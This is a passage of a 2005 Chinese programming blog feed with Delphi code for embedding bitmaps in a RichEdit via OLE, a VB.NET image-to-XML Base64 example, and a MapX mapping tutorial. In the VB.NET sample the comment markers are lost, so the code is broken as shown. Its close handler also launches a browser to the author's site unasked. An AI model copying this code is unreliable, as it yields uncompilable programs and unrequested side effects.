&nbsp; &nbsp; { Character position of Object &nbsp; &nbsp; }<BR>&nbsp; &nbsp;clsid: TCLSID; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; { Class ID of Object &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<BR>&nbsp; &nbsp;pOleObj: IOleObject; &nbsp; &nbsp; &nbsp; { Ole Object interface &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<BR>&nbsp; &nbsp;pstg: IStorage; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{ Associated storage interface &nbsp; &nbsp; }<BR>&nbsp; &nbsp;pOleSite: IOleClientSite; &nbsp;{ Associated Client Site interface }<BR>&nbsp; &nbsp;sizel: TSize; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{ Size of Object (may be 0,0) &nbsp; &nbsp; &nbsp;}<BR>&nbsp; &nbsp;dvAspect: Longint; &nbsp; &nbsp; &nbsp; &nbsp; { Display aspect to use &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<BR>&nbsp; &nbsp;dwFlags: DWORD; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{ Object status flags &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<BR>&nbsp; &nbsp;dwUser: DWORD; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; { Dword for user's use &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<BR>&nbsp;end;<BR>&nbsp;TReObject = _ReObject;<BR>&nbsp;TCharRange = record {Copy From RichEdit.pas}<BR>&nbsp; &nbsp;cpMin: Integer;<BR>&nbsp; &nbsp;cpMax: Integer;<BR>&nbsp;end;<BR>&nbsp;TFormatRange = record<BR>&nbsp; &nbsp;hdc: Integer;<BR>&nbsp; &nbsp;hdcTarget: Integer;<BR>&nbsp; &nbsp;rectRegion: TRect;<BR>&nbsp; &nbsp;rectPage: TRect;<BR>&nbsp; &nbsp;chrg: TCharRange;<BR>&nbsp;end;<BR>&nbsp;IRichEditOle = interface(System.IUnknown)<BR>&nbsp; &nbsp;['{00020d00-0000-0000-c000-000000000046}']<BR>&nbsp; &nbsp;function GetClientSite(out ClientSite: IOleClientSite): HResult; stdcall;<BR>&nbsp; &nbsp;function GetObjectCount: HResult; stdcall;<BR>&nbsp; &nbsp;function GetLinkCount: HResult; stdcall;<BR>&nbsp; &nbsp;function GetObject(iob: Longint; out ReObject: TReObject; dwFlags: DWORD): HResult; stdcall;<BR>&nbsp; &nbsp;function InsertObject(var ReObject: TReObject): HResult; stdcall;<BR>&nbsp; &nbsp;function ConvertObject(iob: Longint; rclsidNew: TIID;lpstrUserTypeNew: LPCSTR): HResult; stdcall;<BR>&nbsp; &nbsp;function ActivateAs(rclsid: TIID; rclsidAs: TIID): HResult; stdcall;<BR>&nbsp; &nbsp;function SetHostNames(lpstrContainerApp: LPCSTR; lpstrContainerObj: LPCSTR): HResult; stdcall;<BR>&nbsp; &nbsp;function SetLinkAvailable(iob: Longint; fAvailable: BOOL): HResult; stdcall;<BR>&nbsp; &nbsp;function SetDvaspect(iob: Longint; dvaspect: DWORD): HResult; stdcall;<BR>&nbsp; &nbsp;function HandsOffStorage(iob: Longint): HResult; stdcall;<BR>&nbsp; &nbsp;function SaveCompleted(iob: Longint; const stg: IStorage): HResult; stdcall;<BR>&nbsp; &nbsp;function InPlaceDeactivate: HResult; stdcall;<BR>&nbsp; &nbsp;function ContextSensitiveHelp(fEnterMode: BOOL): HResult; stdcall;<BR>&nbsp; &nbsp;function GetClipboardData(var chrg: TCharRange; reco: DWORD; out dataObj: IDataObject): HResult; stdcall;<BR>&nbsp; &nbsp;function ImportDataObject(dataObj: IDataObject; cf: TClipFormat; hMetaPict: HGLOBAL): HResult; stdcall;<BR>&nbsp;end;<BR>&nbsp;function InsertBitmap(Editor: TRichEdit; BmpFile: String): Boolean;<BR><BR>implementation<BR><BR>function InsertBitmap(Editor: TRichEdit; BmpFile: String): Boolean;<BR>var<BR>&nbsp;FRTF: IRichEditOle;<BR>&nbsp;FOle: IOleObject;<BR>&nbsp;FormatEtc: tagFormatETC;<BR>&nbsp;FStorage: ISTORAGE;<BR>&nbsp;FClientSite: IOleClientSite;<BR>&nbsp;FLockBytes: ILockBytes;<BR>&nbsp;ReObject: TReObject;<BR>&nbsp;xt: TGuid;<BR>&nbsp;FTemp: IUnknown;<BR>begin<BR>&nbsp;Result:=false; &nbsp;<BR>&nbsp;if not FileExists(BmpFile) then Exit;<BR>&nbsp;try<BR>&nbsp; &nbsp;SendMessage(Editor.Handle, em_GetOleInterFace, 0, LongInt(@FRTF));<BR>&nbsp; &nbsp;if not Assigned(FRTF) then Exit;<BR>&nbsp; &nbsp;if CreateILockBytesOnHGlobal(0,true,FLockBytes)&lt;&gt;S_OK then Exit;<BR>&nbsp; &nbsp;if StgCreateDocfileOnILockBytes(FLockBytes,STGM_SHARE_EXCLUSIVE or STGM_CREATE or STGM_READWRITE,0,FStorage)&lt;&gt;S_OK then Exit;<BR>&nbsp; &nbsp;FormatEtc.cfFormat:=0;<BR>&nbsp; &nbsp;FormatEtc.ptd:=nil;<BR>&nbsp; &nbsp;FormatEtc.dwAspect:=DVASPECT_CONTENT;<BR>&nbsp; &nbsp;FormatEtc.lindex:=-1;<BR>&nbsp; &nbsp;FormatEtc.tymed:=TYMED_NULL;<BR>&nbsp; &nbsp;FRTF.GetClientSite(FClientSite);<BR>&nbsp; &nbsp;//从文件中创建一个Ole对象<BR>&nbsp; &nbsp;if OleCreateFromFile(GUID_NULL,PWideChar(WideString(BmpFile)),IID_IUnknown,0,@FormatEtc,FClientSite,FStorage,FOle)&lt;&gt;S_OK then Exit;<BR>&nbsp; &nbsp;FTemp:=FOle;<BR>&nbsp; &nbsp;FTemp.QueryInterface(IID_IOleObject, FOle);<BR>&nbsp; &nbsp;OleSetContainedObject(FOle, true);<BR>&nbsp; &nbsp;ReObject.cbStruct:=SizeOf(TReObject);<BR>&nbsp; &nbsp;FOle.GetUserClassID(xt);<BR>&nbsp; &nbsp;ReObject.clsid:=xt;<BR>&nbsp; &nbsp;ReObject.cp:=ULong(REO_CP_SELECTION);<BR>&nbsp; &nbsp;ReObject.dvaspect:=DVASPECT_CONTENT;<BR>&nbsp; &nbsp;ReObject.dwFlags:=ULong(REO_STATIC) or ULong(REO_BELOWBASELINE);<BR>&nbsp; &nbsp;ReObject.dwUser:=0;<BR>&nbsp; &nbsp;ReObject.pOleObj:=FOle;<BR>&nbsp; &nbsp;ReObject.pOleSite:=FClientSite;<BR>&nbsp; &nbsp;ReObject.pstg:=FStorage;<BR>&nbsp; &nbsp;ReObject.sizel.cx:=0;<BR>&nbsp; &nbsp;ReObject.sizel.cy:=0;<BR>&nbsp; &nbsp;FRTF.InsertObject(ReObject);<BR>&nbsp;finally<BR>&nbsp; &nbsp;FRTF:=nil;<BR>&nbsp; &nbsp;FOle:=nil;<BR>&nbsp;end;<BR>&nbsp;Result:=true;<BR>end;<BR>end.]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=180" /> 
	  <id>http://www.openx.cn/default.asp?id=180</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[[转]把图象文件转换成XML格式文件]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-12-12T10:36:06+08:00</updated>
	  <published>2005-12-12T10:36:06+08:00</published>
		  <summary type="html"><![CDATA[利用.NET&nbsp;框架下的FromBase64String和ToBase64String方法可以很容易地实现图象文件和XML文件的互换。这样可以轻易解决以XML格式保存图片的问题。代码如下：&nbsp; 
<P></P>
<P>Public&nbsp;Class&nbsp;Form1&nbsp;<BR>Inherits&nbsp;System.Windows.Forms.Form&nbsp;</P>
<P>#Region&nbsp;"&nbsp;Windows&nbsp;窗体设计器生成的代码&nbsp;"&nbsp;<BR>Public&nbsp;Sub&nbsp;New()&nbsp;<BR>MyBase.New()&nbsp;<BR>InitializeComponent()&nbsp;<BR>在&nbsp;InitializeComponent()&nbsp;调用之后添加任何初始化&nbsp;<BR>End&nbsp;Sub&nbsp;</P>
<P>窗体重写处置以清理组件列表。&nbsp;<BR>Protected&nbsp;Overloads&nbsp;Overrides&nbsp;Sub&nbsp;Dispose(ByVal&nbsp;disposing&nbsp;As&nbsp;Boolean)&nbsp;<BR>If&nbsp;disposing&nbsp;Then&nbsp;<BR>If&nbsp;Not&nbsp;(components&nbsp;Is&nbsp;Nothing)&nbsp;Then&nbsp;<BR>components.Dispose()&nbsp;<BR>End&nbsp;If&nbsp;<BR>End&nbsp;If&nbsp;<BR>MyBase.Dispose(disposing)&nbsp;<BR>End&nbsp;Sub&nbsp;</P>
<P>Windows&nbsp;窗体设计器所必需的&nbsp;<BR>Private&nbsp;components&nbsp;As&nbsp;System.ComponentModel.IContainer&nbsp;<BR>注意：以下过程是&nbsp;Windows&nbsp;窗体设计器所必需的&nbsp;<BR>可以使用&nbsp;Windows&nbsp;窗体设计器修改此过程。&nbsp;<BR>不要使用代码编辑器修改它。&nbsp;<BR>Friend&nbsp;WithEvents&nbsp;Button1&nbsp;As&nbsp;System.Windows.Forms.Button&nbsp;<BR>Friend&nbsp;WithEvents&nbsp;Button2&nbsp;As&nbsp;System.Windows.Forms.Button&nbsp;<BR>Friend&nbsp;WithEvents&nbsp;PictureBox1&nbsp;As&nbsp;System.Windows.Forms.PictureBox&nbsp;<BR>Friend&nbsp;WithEvents&nbsp;Button3&nbsp;As&nbsp;System.Windows.Forms.Button&nbsp;<BR>Friend&nbsp;WithEvents&nbsp;Label1&nbsp;As&nbsp;System.Windows.Forms.Label&nbsp;<BR>Friend&nbsp;WithEvents&nbsp;Label2&nbsp;As&nbsp;System.Windows.Forms.Label&nbsp;<BR>&lt;System.Diagnostics.DebuggerStepThrough()&gt;&nbsp;Private&nbsp;Sub&nbsp;InitializeComponent()&nbsp;<BR>Me.Button1&nbsp;=&nbsp;New&nbsp;System.Windows.Forms.Button()&nbsp;<BR>Me.Button2&nbsp;=&nbsp;New&nbsp;System.Windows.Forms.Button()&nbsp;<BR>Me.PictureBox1&nbsp;=&nbsp;New&nbsp;System.Windows.Forms.PictureBox()&nbsp;<BR>Me.Button3&nbsp;=&nbsp;New&nbsp;System.Windows.Forms.Button()&nbsp;<BR>Me.Label1&nbsp;=&nbsp;New&nbsp;System.Windows.Forms.Label()&nbsp;<BR>Me.Label2&nbsp;=&nbsp;New&nbsp;System.Windows.Forms.Label()&nbsp;<BR>Me.SuspendLayout()&nbsp;</P>
<P>Button1&nbsp;</P>
<P>Me.Button1.Location&nbsp;=&nbsp;New&nbsp;System.Drawing.Point(365,&nbsp;63)&nbsp;<BR>Me.Button1.Name&nbsp;=&nbsp;"Button1"&nbsp;<BR>Me.Button1.Size&nbsp;=&nbsp;New&nbsp;System.Drawing.Size(115,&nbsp;23)&nbsp;<BR>Me.Button1.TabIndex&nbsp;=&nbsp;0&nbsp;<BR>Me.Button1.Text&nbsp;=&nbsp;"将图象保存成XML"&nbsp;</P>
<P>Button2&nbsp;</P>
<P>Me.Button2.Location&nbsp;=&nbsp;New&nbsp;System.Drawing.Point(365,&nbsp;98)&nbsp;<BR>Me.Button2.Name&nbsp;=&nbsp;"Button2"&nbsp;<BR>Me.Button2.Size&nbsp;=&nbsp;New&nbsp;System.Drawing.Size(115,&nbsp;23)&nbsp;<BR>Me.Button2.TabIndex&nbsp;=&nbsp;1&nbsp;<BR>Me.Button2.Text&nbsp;=&nbsp;"从XML中得到图象"&nbsp;</P>
<P>PictureBox1&nbsp;</P>
<P>Me.PictureBox1.Location&nbsp;=&nbsp;New&nbsp;System.Drawing.Point(18,&nbsp;6)&nbsp;<BR>Me.PictureBox1.Name&nbsp;=&nbsp;"PictureBox1"&nbsp;<BR>Me.PictureBox1.Size&nbsp;=&nbsp;New&nbsp;System.Drawing.Size(320,&nbsp;460)&nbsp;<BR>Me.PictureBox1.TabIndex&nbsp;=&nbsp;2&nbsp;<BR>Me.PictureBox1.TabStop&nbsp;=&nbsp;False&nbsp;</P>
<P>Button3&nbsp;</P>
<P>Me.Button3.Location&nbsp;=&nbsp;New&nbsp;System.Drawing.Point(365,&nbsp;28)&nbsp;<BR>Me.Button3.Name&nbsp;=&nbsp;"Button3"&nbsp;<BR>Me.Button3.Size&nbsp;=&nbsp;New&nbsp;System.Drawing.Size(115,&nbsp;23)&nbsp;<BR>Me.Button3.TabIndex&nbsp;=&nbsp;3&nbsp;<BR>Me.Button3.Text&nbsp;=&nbsp;"浏览图片…"&nbsp;</P>
<P>Label1&nbsp;</P>
<P>Me.Label1.Location&nbsp;=&nbsp;New&nbsp;System.Drawing.Point(369,&nbsp;135)&nbsp;<BR>Me.Label1.Name&nbsp;=&nbsp;"Label1"&nbsp;<BR>Me.Label1.Size&nbsp;=&nbsp;New&nbsp;System.Drawing.Size(105,&nbsp;95)&nbsp;<BR>Me.Label1.TabIndex&nbsp;=&nbsp;4&nbsp;</P>
<P>Label2&nbsp;</P>
<P>Me.Label2.Location&nbsp;=&nbsp;New&nbsp;System.Drawing.Point(367,&nbsp;437)&nbsp;<BR>Me.Label2.Name&nbsp;=&nbsp;"Label2"&nbsp;<BR>Me.Label2.Size&nbsp;=&nbsp;New&nbsp;System.Drawing.Size(130,&nbsp;16)&nbsp;<BR>Me.Label2.TabIndex&nbsp;=&nbsp;5&nbsp;<BR>Me.Label2.Text&nbsp;=&nbsp;"【孟宪会之精彩世界】"&nbsp;</P>
<P>Form1&nbsp;</P>
<P>Me.AutoScaleBaseSize&nbsp;=&nbsp;New&nbsp;System.Drawing.Size(5,&nbsp;13)&nbsp;<BR>Me.ClientSize&nbsp;=&nbsp;New&nbsp;System.Drawing.Size(500,&nbsp;480)&nbsp;<BR>Me.Controls.AddRange(New&nbsp;System.Windows.Forms.Control()&nbsp;{Me.Label2,&nbsp;Me.Label1,&nbsp;_&nbsp;<BR>Me.Button3,&nbsp;Me.PictureBox1,&nbsp;Me.Button2,&nbsp;Me.Button1})&nbsp;<BR>Me.Name&nbsp;=&nbsp;"Form1"&nbsp;<BR>Me.Text&nbsp;=&nbsp;"图象文件和XML格式文件互换例子"&nbsp;<BR>Me.ResumeLayout(False)&nbsp;</P>
<P>End&nbsp;Sub&nbsp;</P>
<P>#End&nbsp;Region&nbsp;</P>
<P>Private&nbsp;MyFile&nbsp;As&nbsp;String&nbsp;=&nbsp;""&nbsp;<BR>Private&nbsp;MyFileExt&nbsp;As&nbsp;String&nbsp;=&nbsp;""&nbsp;<BR>Private&nbsp;Sub&nbsp;Button2_Click(ByVal&nbsp;sender&nbsp;As&nbsp;System.Object,&nbsp;ByVal&nbsp;e&nbsp;As&nbsp;System.EventArgs)&nbsp;_&nbsp;<BR>Handles&nbsp;Button2.Click&nbsp;<BR>Dim&nbsp;pic&nbsp;As&nbsp;String&nbsp;<BR>Dim&nbsp;MyXml&nbsp;As&nbsp;System.Xml.XmlDocument&nbsp;=&nbsp;New&nbsp;System.Xml.XmlDocument()&nbsp;<BR>MyXml.Load("c:\MyPhoto.xml")&nbsp;<BR>Dim&nbsp;picNode&nbsp;As&nbsp;System.Xml.XmlNode&nbsp;<BR>picNode&nbsp;=&nbsp;MyXml.SelectSingleNode("/pic/photo")&nbsp;<BR>pic&nbsp;=&nbsp;picNode.InnerText&nbsp;<BR>Dim&nbsp;memoryStream&nbsp;As&nbsp;System.IO.MemoryStream&nbsp;<BR>memoryStream&nbsp;=&nbsp;New&nbsp;System.IO.MemoryStream(Convert.FromBase64String(pic))&nbsp;<BR>Me.PictureBox1.Image&nbsp;=&nbsp;New&nbsp;System.Drawing.Bitmap(memoryStream)&nbsp;<BR>memoryStream.Close()&nbsp;<BR>End&nbsp;Sub&nbsp;</P>
<P>Private&nbsp;Sub&nbsp;Button1_Click(ByVal&nbsp;sender&nbsp;As&nbsp;System.Object,&nbsp;ByVal&nbsp;e&nbsp;As&nbsp;System.EventArgs)&nbsp;_&nbsp;<BR>Handles&nbsp;Button1.Click&nbsp;<BR>If&nbsp;MyFile&nbsp;=&nbsp;""&nbsp;Then&nbsp;<BR>MessageBox.Show("请选择一个图片！",&nbsp;"错误",&nbsp;MessageBoxButtons.OK,&nbsp;MessageBoxIcon.Warning)&nbsp;<BR>Exit&nbsp;Sub&nbsp;<BR>End&nbsp;If&nbsp;<BR>Dim&nbsp;MyImg&nbsp;As&nbsp;System.Drawing.Image&nbsp;=&nbsp;MyImg.FromFile(MyFile)&nbsp;<BR>Dim&nbsp;memoryStream&nbsp;As&nbsp;System.IO.MemoryStream&nbsp;=&nbsp;New&nbsp;System.IO.MemoryStream()&nbsp;<BR>MyImg.Save(memoryStream,&nbsp;GetImageType(MyFileExt))&nbsp;<BR>Dim&nbsp;b()&nbsp;As&nbsp;Byte&nbsp;<BR>b&nbsp;=&nbsp;memoryStream.GetBuffer()&nbsp;<BR>Dim&nbsp;pic&nbsp;As&nbsp;String&nbsp;=&nbsp;Convert.ToBase64String(b)&nbsp;<BR>memoryStream.Close()&nbsp;<BR>Dim&nbsp;MyXml&nbsp;As&nbsp;System.Xml.XmlDocument&nbsp;=&nbsp;New&nbsp;System.Xml.XmlDocument()&nbsp;<BR>MyXml.LoadXml("&lt;pic&gt;&lt;name&gt;孟宪会&lt;/name&gt;&lt;photo&gt;"&nbsp;+&nbsp;pic&nbsp;+&nbsp;"&lt;/photo&gt;&lt;/pic&gt;")&nbsp;<BR>MyXml.Save("c:\MyPhoto.xml")&nbsp;<BR>Label1.Text&nbsp;=&nbsp;"文件被保存到了："&nbsp;+&nbsp;Microsoft.VisualBasic.ChrW(13)&nbsp;+&nbsp;"c:\MyPhoto.xml"&nbsp;<BR>End&nbsp;Sub&nbsp;</P>
<P>Private&nbsp;Sub&nbsp;Button3_Click(ByVal&nbsp;sender&nbsp;As&nbsp;System.Object,&nbsp;ByVal&nbsp;e&nbsp;As&nbsp;System.EventArgs)&nbsp;_&nbsp;<BR>Handles&nbsp;Button3.Click&nbsp;<BR>Dim&nbsp;openFileDialog1&nbsp;As&nbsp;New&nbsp;OpenFileDialog()&nbsp;<BR>openFileDialog1.InitialDirectory&nbsp;=&nbsp;"c:\"&nbsp;<BR>openFileDialog1.Filter&nbsp;=&nbsp;"PNG(*.png)|*.png|Gif(*.gif)|*.gif|Jpg(*.jpg)|*.jpg|所有图象文件(*.*)|*.*"&nbsp;<BR>openFileDialog1.FilterIndex&nbsp;=&nbsp;2&nbsp;<BR>openFileDialog1.RestoreDirectory&nbsp;=&nbsp;True&nbsp;<BR>If&nbsp;openFileDialog1.ShowDialog()&nbsp;=&nbsp;DialogResult.OK&nbsp;Then&nbsp;<BR>MyFile&nbsp;=&nbsp;openFileDialog1.FileName()&nbsp;<BR>MyFileExt&nbsp;=&nbsp;MyFile.Substring(MyFile.LastIndexOf(".")&nbsp;+&nbsp;1)&nbsp;<BR>End&nbsp;If&nbsp;<BR>End&nbsp;Sub&nbsp;</P>
<P>Public&nbsp;Function&nbsp;GetImageType(ByVal&nbsp;str&nbsp;As&nbsp;String)&nbsp;As&nbsp;System.Drawing.Imaging.ImageFormat&nbsp;<BR>Select&nbsp;Case&nbsp;str.ToLower()&nbsp;<BR>Case&nbsp;"jpg"&nbsp;<BR>Return&nbsp;System.Drawing.Imaging.ImageFormat.Jpeg&nbsp;<BR>Case&nbsp;"gif"&nbsp;<BR>Return&nbsp;System.Drawing.Imaging.ImageFormat.Gif&nbsp;<BR>Case&nbsp;"tiff"&nbsp;<BR>Return&nbsp;System.Drawing.Imaging.ImageFormat.Tiff()&nbsp;<BR>Case&nbsp;"icon"&nbsp;<BR>Return&nbsp;System.Drawing.Imaging.ImageFormat.Icon&nbsp;<BR>Case&nbsp;"image/png"&nbsp;<BR>Return&nbsp;System.Drawing.Imaging.ImageFormat.Png&nbsp;<BR>Case&nbsp;Else&nbsp;<BR>Return&nbsp;System.Drawing.Imaging.ImageFormat.MemoryBmp&nbsp;<BR>End&nbsp;Select&nbsp;<BR>End&nbsp;Function&nbsp;</P>
<P>Private&nbsp;Sub&nbsp;Form1_Closing(ByVal&nbsp;sender&nbsp;As&nbsp;Object,&nbsp;ByVal&nbsp;e&nbsp;As&nbsp;System.ComponentModel.CancelEventArgs)&nbsp;_&nbsp;<BR>Handles&nbsp;MyBase.Closing&nbsp;<BR>System.Diagnostics.Process.Start("IExplore.exe",&nbsp;"<A class=contentlink href='http://xml.sz.luohuedu.net/"' target=_blank><FONT color=#4455aa>http://xml.sz.luohuedu.net/"</FONT></A>)&nbsp;<BR>End&nbsp;Sub&nbsp;<BR>End&nbsp;Class</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=179" /> 
	  <id>http://www.openx.cn/default.asp?id=179</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[MapX]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-12-10T17:54:06+08:00</updated>
	  <published>2005-12-10T17:54:06+08:00</published>
		  <summary type="html"><![CDATA[<SPAN id=ContentLabel style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">一、加载地图数据 <BR><BR><BR>发表时间: 2002-07-30 14:19<BR><BR><BR>1、 TAB的数据分为两种数据：地图数据（Layers）、属性数据（Datasets）。关系：不可分割的一个数据集的两部分. <BR>2、 数据加载：GST文件由GeosetManager40.exe程序生成。在程序使用gsT文件：Map1.Geoset=Filepath+FileName <BR>3、 问题：GST文件加载后，只是默认将地图数据加载，属性数据另外需要使用单独的命令进行加载，否则对属性数据的操作全部非法。加载：Map1.Datasets.ADD 属性数据集名称 <BR>4、 另一种加载方式：使用LayerInfo 对象，这种方式下加载地图数据源的地图集和属性集均可直接使用。示例： <BR>dim LayerInfo as MapXLib.LayerInfo <BR>dim Lyr as Mpxlib.layer <BR><BR>LayerInfo.Type = miLayerInfoTypeTab ‘加载表的类型 <BR>LayerInfo.AddParameter "FileSpec", FilePath + LayerName + ".TAB" ‘加载表的全路径名 <BR>LayerInfo.AddParameter "NAME", LayerName ‘地图集的别名 <BR>LayerInfo.AddParameter "AutoCreateDataset", 1 ‘是否加载属性数据集 <BR>LayerInfo.AddParameter "datasetname", LayerName ‘属性数据集别名 <BR><BR>MainMap.Layers.Add LayerInfo ‘加载到指定的MapX对象中，立即可直接使用 <BR><BR>5、 第三种加载数据方式：GST文件+ LayerInfo方式。示例： <BR>使用两个MapX对象：MainMap、TempMap <BR>TempMap.Geoset=GST文件 <BR>MainMap.geoset=”” <BR>TempMap.Refresh <BR><BR>For I=1 to TempMap.Layers.Count <BR>FileName=TempMap.Layers.Item(I).Filespec <BR>‘直接引用LayerInfo方式加载地图数据到MainMap <BR>Next <BR><BR><BR>二、创建地图对象 <BR><BR><BR>发表时间: 2002-07-30 14:20<BR><BR><BR>必要：创建地图对象，必须使用FeatureFactory对象 <BR>1、 创建一个点对象 <BR>点对象有一个坐标点（X，Y），点对象变量是Point类型，点对象的样式（Style）是符号样式。 <BR>Dim Pnt AS MapXLib.Point <BR>Dim FeaFac AS MapXLib.FeatureFactory <BR>Dim Lyr AS MapXLib.Layer <BR>Dim Ftr AS MapXLib.Feature <BR>Dim NewStyle AS MapXLib.Style <BR><BR>‘绑定 <BR>SET Lyr=MainMap.Layers.Item(LayerName) <BR>SET FeaFac=mainmap.featurefactory <BR>‘设置点对象样式 <BR>With NewStyle <BR>.SymbolType = miSymbolTypeBitmap <BR>.SymbolBitmapSize = 24 <BR>.SymbolBitmapTransparent = False <BR>.SymbolBitmapName = "YIEL2-32.BMP" <BR>End With <BR>Mainmap.AutoRedraw=False ‘禁止自动刷新 <BR>Lyr.Editable=True ‘置当前图层为可写状态 <BR>‘创建点对象 <BR>pnt.set X1,Y1 <BR>‘添加进当前图层 <BR>Set Ftr=FeaFac. CreateSymbol (Pnt,Newstyle) ‘创建符号 <BR>‘Set Ftr=FeaFac. CreateSymbol (Pnt,MainMap.DefaultStyle) <BR>‘添加 <BR>Lyr.AddFeature Ftr <BR>Lyr.Refresh <BR>Mainmap.AutoRedraw=True <BR>Lyr.Editable=False <BR>‘释放 <BR>SET Pnt = Nothing <BR>SET FeaFac = Nothing <BR>SET Lyr = Nothing <BR>SET Ftr = Nothing <BR>‘以上代码放在MapX的ToolUsed事件下 <BR><BR>单独修改某个图元的样式：SET Ftr.Style=NewStyle，再用Update 即可 <BR>2、 创建一个线矩形 <BR>Dim Pnts AS MapXLib.Points <BR><BR>With NewStyle <BR>.LineColor=Rgb(0, 0,255) <BR>End With <BR>‘第一个点 <BR>Pnt.Set X1,Y1 <BR>Pnts.add Pnt <BR>‘第二个点 <BR>Pnt.Set X2,Y1 <BR>Pnts.add Pnt <BR>‘第三个点 <BR>Pnt.Set X2,Y2 <BR>Pnts.add Pnt <BR>‘第四个点 <BR>Pnt.Set X1,Y2 <BR>Pnts.add Pnt <BR>‘第五个点 <BR>Pnt.Set X1,Y1 <BR>Pnts.add Pnt <BR><BR>‘创建线矩形 <BR>SET Ftr=FeaFac.CreateLine(Pnts,NewStyle) <BR>Lyr.AddFeature Ftr <BR>Lyr.Refresh <BR><BR>3、 上面创建对象中存在的问题：并未对其数据数据进行赋值 <BR>创建对象的同时创建其数据集合 <BR>Dim Pnt AS MapXLib.Point <BR>Dim FeaFac AS MapXLib.FeatureFactory <BR>Dim Lyr AS MapXLib.Layer <BR>Dim Ftr AS MapXLib.Feature <BR>Dim NewStyle AS MapXLib.Style <BR>Dim ds AS MapXLib.Dataset <BR>Dim Flds AS MapXLib.Fields <BR><BR>‘绑定 <BR>SET Lyr=MainMap.Layers.Item(LayerName) <BR>SET ds=Lyr.Datasets.Item(1) <BR>Set Flds=ds.Fields <BR>SET FeaFac=mainmap.featurefactory <BR>‘设置点对象样式 <BR>With NewStyle <BR>.SymbolType = miSymbolTypeBitmap <BR>.SymbolBitmapSize = 24 <BR>.SymbolBitmapTransparent = False <BR>.SymbolBitmapName = "YIEL2-32.BMP" <BR>End With <BR>Mainmap.AutoRedraw=False ‘禁止自动刷新 <BR>Lyr.Editable=True ‘置当前图层为可写状态 <BR>‘创建点对象 <BR>pnt.set X1,Y1 <BR>‘创建图形 <BR>Set Ftr=FeaFac. CreateSymbol (Pnt,Newstyle) ‘创建符号 <BR>‘Set Ftr=FeaFac. CreateSymbol (Pnt,MainMap.DefaultStyle) <BR>‘设置属性 <BR>For I=1 to Flds.Count <BR>Lyr.KeyFields=Flds.Item(i).Name <BR>Ftr.KeyValue=ValueStr(I) ‘这里并没有对字段类型进行判断 <BR>Next <BR>‘另外一种方法：使用RowValues和RowValue对象 <BR>‘添加 <BR>Lyr.AddFeature Ftr <BR>Lyr.Refresh <BR>Mainmap.AutoRedraw=True <BR>Lyr.Editable=False <BR>‘释放 <BR>SET Pnt = Nothing <BR>SET FeaFac = Nothing <BR>SET Lyr = Nothing <BR>SET Ftr = Nothing <BR><BR>SET ds = Nothing <BR>SET Flds = Nothing <BR>4、 创建表 <BR>（1） 临时表： <BR>A、用MainMap.Layers.CreateLayer方法创建临时表。但这个临时表只有一个字段：GeoName( Char 24)。程序运行过程中该表存放位置为系统临时文件夹下 <BR>B、使用LayerInfo对象创建临时表，可以指定字段。示例： <BR><BR>Dim Lyr As MapXLib.Layer <BR>Dim LayerInfo As New MapXLib.LayerInfo <BR>Dim Flds As New MapXLib.Fields <BR><BR>‘字段定义 <BR>Flds.AddStringField "ID", 12 <BR>Flds.AddStringField "Name", 50 <BR>Flds.AddNumericField "Deptch", 12, 2 <BR>Flds.AddIntegerField "Length" <BR><BR>′ <BR>LayerInfo.Type = miLayerInfoTypeTemp <BR>LayerInfo.AddParameter "FileSpec", FileName <BR>LayerInfo.AddParameter "NAME", LayerName <BR>LayerInfo.AddParameter "Fields", Flds <BR><BR>Set Lyr = MainMap.Layers.Add(LayerInfo, 1) <BR><BR>Set Lyr = Nothing <BR>Set LayerInfo = Nothing <BR><BR>（2） 创建永久表 <BR>Dim Lyr As MapXLib.Layer <BR>Dim LayerInfo As New MapXLib.LayerInfo <BR>Dim Flds As New MapXLib.Fields <BR><BR>Flds.AddStringField "ID", 12 <BR>Flds.AddStringField "Name", 50 <BR>Flds.AddNumericField "Deptch", 12, 2 <BR>Flds.AddIntegerField "Length" <BR><BR>′ <BR>LayerInfo.Type = miLayerInfoTypeNewTable <BR>LayerInfo.AddParameter "FileSpec", FilePath + "" + FileName <BR>LayerInfo.AddParameter "NAME", LayerName <BR>LayerInfo.AddParameter "Fields", Flds <BR><BR>Set Lyr = MainMap.Layers.Add(LayerInfo, 1) <BR><BR>Set Lyr = Nothing <BR>Set LayerInfo = Nothing <BR><BR><BR>5、 创建工具句柄 <BR>系统已经定义工具句柄都以整数（包括16进制）常数存在，句柄号大于1000和小于12基本都为系统使用。 <BR>A. 定义常数：必须为全局变量 <BR>Global Const CreateSymbolTool = 13 ′创建节点 <BR>Global Const CreateLineTool = 15 ′创建管线 <BR>Global Const InfoTipTool = 16 ′信息工具 <BR>Global Const MoveFeature = 17 ′移动地图 <BR>Global Const ScaleDistanceTool = 18 ′测量两点间的距离 <BR><BR>B. 使用CreateCustomTool创建新的工具句柄： <BR>MainMap.CreateCustomTool CreateSymbolTool, miToolTypePoint, miSymbolCursor 